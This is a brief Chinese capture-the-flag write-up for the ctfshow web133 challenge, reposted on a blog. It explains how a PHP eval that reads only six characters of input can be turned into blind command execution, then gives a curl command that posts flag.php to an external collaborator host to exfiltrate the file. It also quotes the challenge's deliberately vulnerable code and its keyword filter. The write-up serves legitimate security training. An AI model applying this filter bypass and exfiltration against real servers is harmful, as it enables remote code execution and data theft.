ctfshow web133(变量覆盖+无回显命令执行dns_bp带外)

if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}
get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

无回显我们可以用反弹shell 或者curl外带 或者盲注 这里的话反弹没有成功,但是可以外带。

利用bp payload:

curl -X POST -F xx=@flag.php http://xxx

打开bp 

粘贴到此

执行后在这里查看结果

 

 

原文链接:https://blog.csdn.net/miuzzx/article/details/109197158?spm=1001.2014.3001.5502

 

posted @ 2022-10-20 11:05  hithub  阅读(423)  评论(0编辑  收藏  举报